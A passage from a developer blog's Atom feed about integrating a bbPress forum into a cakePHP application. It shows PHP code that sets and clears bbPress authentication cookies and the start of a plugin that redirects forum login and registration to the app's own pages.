style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expirationDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/forum/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Getting the auth salt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $completeSalt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.authKey&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.authSalt&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // The auth cookie name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $cookieName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;bbpress_&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.hash&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Getting the value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $cookieValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; __getCookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;name&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;password&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $pass&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;salt&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $completeSalt&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;   &#39;expiration&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $expirationDate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; ));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Setting the cookie for the correct path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expirationDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/bb-admin&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expirationDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/bb-plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$expirationDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/my-plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And for logging out, just delete the cookies:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; clearCookies&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // The name of the cookie to delete&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $cookieName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;bbpress_logged_in_&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.hash&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/forum/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // The auth cookie name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $cookieName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;bbpress_&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bbPress.hash&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/bb-admin&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/bb-plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   setcookie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$cookieName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/forum/my-plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hope all that helps! It took some time to put all this together but I hope it
could help other bakers out there.&lt;/p&gt;
&lt;h2&gt;Downloading&lt;/h2&gt;
&lt;p&gt;For anyone interested, here is a link to download all the files:
http://www.pixelastic.com/download/bbpress.rar&lt;/p&gt;
&lt;p&gt;Note that it can&#39;t be used as-is because it involves a bbPress install, a custom
Authentication system and also because I wrote it as part of a bigger plugin.&lt;/p&gt;
&lt;p&gt;So, feel free to browse the files and get what you need, but consider it as a
part of a bigger app, so you&#39;ll have to re-plug what&#39;s missing.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Integration of a bbPress forum into a cakePHP application (part 3)</title>
    <link href="https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-3/"/>
    <updated>2010-02-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-3</id>
    <content type="html">&lt;p&gt;Let&#39;s go back to bbPress now. With the previous post, you should be able to
create bbPress user directly from your app.&lt;/p&gt;
&lt;h2&gt;Redirecting bbPress to the cakePHP app actions&lt;/h2&gt;
&lt;p&gt;What we&#39;ll be doing now is adding some hooks on every user-related action on
bbPress to redirect them to their equivalent in your app. No need to have two
different login form, hey?&lt;/p&gt;
&lt;p&gt;Create a new php file in your &lt;code&gt;app/webroot/forum/my-plugins/&lt;/code&gt; directory, and
copy and paste the following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;Plugin Name: cakePHP User&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;Description:  Remaps each login/register/forgotpass action to those of your own application&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;Version: 0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;Author: Pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;Author URI: http://www.pixelastic.com/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;License: CC-GNU-GPL http://creativecommons.org/licenses/GPL/2.0/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;( &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;APP_URL&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;http://www.myapp.com/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; *    __convertToAppUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; *    Convert a given bbPress URI to one mapped to the main application&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; **/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; cake_convertToAppUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // We explode the path in different subdirs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $paths&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; explode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $nbrPath&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; count&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$paths&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // We get the last part of the url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $endUri&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; substr&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strrpos&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $mappedUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // Register&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;register.php&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users/add&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
